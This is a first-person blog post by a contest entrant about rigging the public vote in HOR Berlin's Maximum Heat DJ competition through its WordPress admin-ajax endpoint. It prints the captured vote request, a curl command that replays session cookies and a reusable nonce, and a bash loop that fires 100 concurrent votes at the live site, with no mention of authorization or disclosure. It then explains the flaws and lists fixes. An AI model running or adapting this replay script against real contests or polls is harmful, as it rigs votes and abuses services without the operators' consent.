Back to blog

How I Hacked the HOR Berlin DJ Competition

April 15, 20258 min read
Cybersecurity
WordPress
Web Security
HOR Berlin Maximum Heat contest results

Introduction

HOR Berlin — one of the most well-known underground electronic music streaming platforms — was running their Maximum Heat DJ Contest, an online competition where DJs submit mixes and the public votes for their favourite. As a DJ who entered the contest and a cybersecurity enthusiast, I naturally wanted to understand how the voting system worked under the hood.

What I found was a textbook example of why you should never rely on a WordPress plugin for anything security-critical.

The Voting System

HOR's website runs on WordPress, and the voting mechanism was powered by a WordPress voting plugin hooked into the standard admin-ajax.php endpoint. When you clicked the vote button on a contest entry page, the browser fired a POST request to the WordPress AJAX handler.

Opening DevTools and watching the network tab when casting a vote revealed the exact request being made:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: hoer.live
Content-Type: application/x-www-form-urlencoded

action=vote&security=[NONCE]&post_id=218037&isVoted=0

Four parameters. That's it. The action tells WordPress which AJAX handler to call, the security nonce is supposed to prevent CSRF, post_id is the contest entry to vote for, and isVoted toggles the vote state.

The Vulnerability

The problems became obvious immediately:

  • No rate limiting — the endpoint accepted unlimited requests with no cooldown
  • Nonce was reusable — the WordPress nonce didn't expire or rotate after use, meaning the same security token could be replayed indefinitely
  • No IP-based throttling — multiple votes from the same IP were all processed
  • Session cookies were the only "auth" — and they remained valid for the entire session lifetime
  • No CAPTCHA or bot protection — nothing to distinguish a human click from a scripted request
  • Votes processed in bulk — sending multiple requests simultaneously resulted in every single one being counted

The Exploit

To prove the vulnerability, all I needed was a single curl command. By replaying the exact request from the browser with the same cookies and nonce, I could cast votes programmatically:

curl -X POST 'https://hoer.live/wp-admin/admin-ajax.php'   -H 'Content-Type: application/x-www-form-urlencoded'   -H 'Cookie: wordpress_logged_in_[HASH]=[REDACTED];       PHPSESSID=[REDACTED];       wp_woocommerce_session_[HASH]=[REDACTED]'   -d 'action=vote&security=[NONCE]&post_id=218037&isVoted=0'

The critical insight: this request could be fired repeatedly and every single vote was counted. No deduplication. No validation that this user had already voted. The nonce — which WordPress generates as a CSRF protection — was not being invalidated after use.

Wrapping this in a simple bash loop was all it took:

#!/bin/bash
# PoC: Demonstrates vote manipulation via request replay
for i in $(seq 1 100); do
  curl -s -X POST 'https://hoer.live/wp-admin/admin-ajax.php'     -H 'Content-Type: application/x-www-form-urlencoded'     -H 'Cookie: [REDACTED_SESSION_COOKIES]'     -d 'action=vote&security=[NONCE]&post_id=218037&isVoted=0' &
done
wait
echo "Done — $i votes sent"

The & at the end of each curl sends them all concurrently. Every single request returned a success response. Every vote was counted.

Why This Happens

This is a common pattern with WordPress voting plugins. The plugin likely stores votes in a custom database table or post meta, keyed only by post_id. The check for "has this user already voted" is typically done client-side via the isVoted parameter or a cookie — both trivially bypassable.

WordPress nonces are designed to prevent CSRF (cross-site request forgery), not replay attacks. A WordPress nonce is valid for 12-24 hours by default and is not single-use. This is by design for WordPress's use case, but it means any AJAX action protected only by a nonce is vulnerable to replay within that window.

The Fix

For anyone building a voting system — especially on WordPress — here's what should have been in place:

  • Server-side vote deduplication — track votes per user ID or IP in the database and reject duplicates
  • Rate limiting — throttle requests per IP/session (e.g. 1 vote per entry per hour)
  • Single-use tokens — generate a unique token per vote action that's invalidated after use
  • CAPTCHA on vote — reCAPTCHA or similar to prevent automated submissions
  • Fingerprinting — browser fingerprinting as an additional layer against multi-account abuse

Takeaway

The HOR Maximum Heat contest is a fun community event, and I have nothing but respect for what HOR Berlin does for the electronic music scene. But this was a reminder that WordPress plugins are not security tools. If you're running any kind of contest, poll, or vote that matters — don't trust a plugin to handle the integrity of it. Build proper server-side validation, or use a platform designed for secure voting.

The web is held together with duct tape and nonces. Sometimes you just need to look.

Stay curious. Stay ethical. Stay secure.

> EOF_